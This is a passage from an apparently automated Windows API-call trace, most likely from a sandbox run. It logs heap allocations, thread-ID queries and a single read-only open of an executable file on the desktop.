HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0075.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84cb0 [0075.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0075.999] GetCurrentThreadId () returned 0x9b0 [0075.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a58 [0075.999] GetCurrentThreadId () returned 0x9b0 [0075.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b60 [0075.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.999] GetCurrentThreadId () returned 0x9b0 [0075.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84bd8 [0076.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b18 | out: hHeap=0x2ad0000) returned 1 [0076.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cb0 | out: hHeap=0x2ad0000) returned 1 [0076.000] GetCurrentThreadId () returned 0x9b0 [0076.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6f8 [0076.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bd8 | out: hHeap=0x2ad0000) returned 1 [0076.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84a88 [0076.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6f8 | out: hHeap=0x2ad0000) returned 1 [0076.000] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84a28, Size=0x10) returned 0x2c84aa0 [0076.000] GetCurrentThreadId () returned 0x9b0 [0076.000] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84a40, Size=0x10) returned 0x2c84c50 [0076.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.001] GetCurrentThreadId () returned 0x9b0 [0076.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b60 | out: hHeap=0x2ad0000) returned 1 [0076.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a88 | out: hHeap=0x2ad0000) returned 1 [0076.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.002] GetCurrentThreadId () returned 0x9b0 [0076.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84ae8 [0076.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cb0 [0076.002] GetCurrentThreadId () returned 0x9b0 [0076.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.002] GetCurrentThreadId () returned 0x9b0 [0076.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ae8 | out: hHeap=0x2ad0000) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de758 [0076.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.003] GetCurrentThreadId () returned 0x9b0 [0076.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84b90 [0076.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b78 [0076.003] GetCurrentThreadId () returned 0x9b0 [0076.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b90 | out: hHeap=0x2ad0000) returned 1 [0076.003] GetCurrentThreadId () returned 0x9b0 [0076.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0076.004] GetCurrentThreadId () returned 0x9b0 [0076.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.004] GetCurrentThreadId () returned 0x9b0 [0076.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6f8 [0076.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de778 [0076.004] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84c50, Size=0x20) returned 0x30284e0 [0076.004] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84aa0, Size=0x20) returned 0x3028558 [0076.004] GetCurrentThreadId () returned 0x9b0 [0076.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.005] GetCurrentThreadId () returned 0x9b0 [0076.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.005] GetCurrentThreadId () returned 0x9b0 [0076.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.005] GetCurrentThreadId () returned 0x9b0 [0076.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.005] GetCurrentThreadId () returned 0x9b0 [0076.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a10 [0076.005] GetCurrentThreadId () returned 0x9b0 [0076.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.005] GetCurrentThreadId () returned 0x9b0 [0076.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.005] GetCurrentThreadId () returned 0x9b0 [0076.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.006] GetCurrentThreadId () returned 0x9b0 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0076.006] GetCurrentThreadId () returned 0x9b0 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b90 [0076.006] GetCurrentThreadId () returned 0x9b0 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84a10 [0076.006] GetCurrentThreadId () returned 0x9b0 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bd8 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cc8 [0076.006] GetCurrentThreadId () returned 0x9b0 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a88 [0076.006] GetCurrentThreadId () returned 0x9b0 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b48 [0076.006] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183ae0, Size=0x14) returned 0x31839e0 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.006] GetCurrentThreadId () returned 0x9b0 [0076.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.007] GetCurrentThreadId () returned 0x9b0 [0076.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.007] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x34105e0, Size=0x941) returned 0x34105e0 [0076.007] GetCurrentThreadId () returned 0x9b0 [0076.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.007] GetCurrentThreadId () returned 0x9b0 [0076.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.007] GetCurrentThreadId () returned 0x9b0 [0076.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.007] GetCurrentThreadId () returned 0x9b0 [0076.007] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84c98, Size=0x20) returned 0x30284e0 [0076.007] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31839e0, Size=0x10) returned 0x2c84c80 [0076.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.007] GetCurrentThreadId () returned 0x9b0 [0076.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.007] GetCurrentThreadId () returned 0x9b0 [0076.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de698 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.008] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84c80, Size=0x20) returned 0x3028238 [0076.008] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84b18, Size=0x20) returned 0x3028558 [0076.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.008] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.009] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d64d8, Size=0x30) returned 0x3263088 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.010] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.011] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.012] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1ffe8, Size=0x48) returned 0x31d6708 [0076.012] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a200d8, Size=0x48) returned 0x31d62f8 [0076.012] GetCurrentThreadId () returned 0x9b0 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d6708, Size=0x30) returned 0x3263018 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3263018, Size=0x20) returned 0x3028328 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.013] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x18) returned 0x3183c00 [0076.013] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] GetCurrentThreadId () returned 0x9b0 [0076.014] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84b30, Size=0x20) returned 0x3028300 [0076.014] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c849f8, Size=0x20) returned 0x3028558 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.015] GetCurrentThreadId () returned 0x9b0 [0076.016] GetCurrentThreadId () returned 0x9b0 [0076.016] GetCurrentThreadId () returned 0x9b0 [0076.016] GetCurrentThreadId () returned 0x9b0 [0076.016] GetCurrentThreadId () returned 0x9b0 [0076.016] GetCurrentThreadId () returned 0x9b0 [0076.016] GetCurrentThreadId () returned 0x9b0 [0076.016] GetCurrentThreadId () returned 0x9b0 [0076.017] GetCurrentThreadId () returned 0x9b0 [0076.017] GetCurrentThreadId () returned 0x9b0 [0076.017] GetCurrentThreadId () returned 0x9b0 [0076.017] GetCurrentThreadId () returned 0x9b0 [0076.017] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de778, Size=0x14) returned 0x3183b60 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.018] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.019] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a20258, Size=0x18) returned 0x31838c0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.020] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84b90, Size=0x20) returned 0x3028238 [0076.021] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c849f8, Size=0x20) returned 0x3028558 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.021] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.022] GetCurrentThreadId () returned 0x9b0 [0076.023] GetCurrentThreadId () returned 0x9b0 [0076.023] GetCurrentThreadId () returned 0x9b0 [0076.023] GetCurrentThreadId () returned 0x9b0 [0076.023] GetCurrentThreadId () returned 0x9b0 [0076.023] GetCurrentThreadId () returned 0x9b0 [0076.023] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de858, Size=0x14) returned 0x3183940 [0076.023] GetCurrentThreadId () returned 0x9b0 [0076.023] GetCurrentThreadId () returned 0x9b0 [0076.024] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.024] GetFileType (hFile=0x300) returned 0x1 [0076.024] GetFileType (hFile=0x300) returned 0x1 [0076.024] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0076.024] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.024] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.024] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.024] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.025] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.025] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.025] CloseHandle (hObject=0x300) returned 1 [0076.025] GetLastError () returned 0x0 [0076.025] GetLastError () returned 0x0 [0076.025] GetLastError () returned 0x0 [0076.025] GetLastError () returned 0x0 [0076.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6e00 | out: hHeap=0x2ad0000) returned 1 [0076.025] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3300a70, Size=0x200e) returned 0x3300a70 [0076.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0076.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f50 [0076.025] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f50, Size=0x20) returned 0x30284e0 [0076.025] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a18ef0 [0076.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x333) returned 0x334e3a0 [0076.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x268) returned 0x34105e0 [0076.026] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ef0, Size=0x64) returned 0x2a19a48 